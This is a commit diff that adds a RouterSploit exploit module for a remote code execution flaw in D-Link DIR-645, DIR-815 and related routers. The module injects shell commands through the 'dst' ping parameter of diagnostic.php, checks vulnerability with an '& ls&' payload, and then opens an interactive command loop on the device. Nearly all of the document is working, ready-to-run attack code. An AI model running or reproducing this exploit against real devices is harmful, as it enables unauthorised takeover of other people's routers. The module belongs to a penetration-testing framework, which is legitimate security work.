Adding multiple rce exploit for multiple dlink devices.

routersploit/modules/exploits/dlink/dir_645_815_rce.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_status,
+    print_error,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for D-Link DIR-645 and DIR-815 Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on the device.
+    """
+    __info__ = {
+        'name': 'D-Link DIR-645 & DIR-815 RCE',
+        'description': 'Module exploits D-Link DIR-645 and DIR-815 Remote Code Execution vulnerability which allows executing command on the device.',
+        'authors': [
+            'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'http://www.s3cur1ty.de/m1adv2013-017',
+        ],
+        'devices': [
+            'DIR-815 v1.03b02',
+            'DIR-645 v1.02',
+            'DIR-645 v1.03',
+            'DIR-600 below v2.16b01',
+            'DIR-300 revB v2.13b01',
+            'DIR-300 revB v2.14b01',
+            'DIR-412 Ver 1.14WWB02',
+            'DIR-456U Ver 1.00ONG',
+            'DIR-110 Ver 1.01',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection, response is not available")
+            shell(self, architecture="mipsel")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        cmd = "%26 {}%26".format(cmd.replace("&", "%26"))
+
+        url = "{}:{}/diagnostic.php".format(self.target, self.port)
+        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
+        data = "act=ping&dst={}".format(cmd)
+
+        http_request(method="POST", url=url, headers=headers, data=data)
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/diagnostic.php".format(self.target, self.port)
+        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
+        data = {"act": "ping",
+                "dst": "& ls&"}
+
+        response = http_request(method="POST", url=url, headers=headers, data=data)
+        if response is None:
+            return False  # target is not vulnerable
+
+        if response.status_code == 200 and "<report>OK</report>" in response.text:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable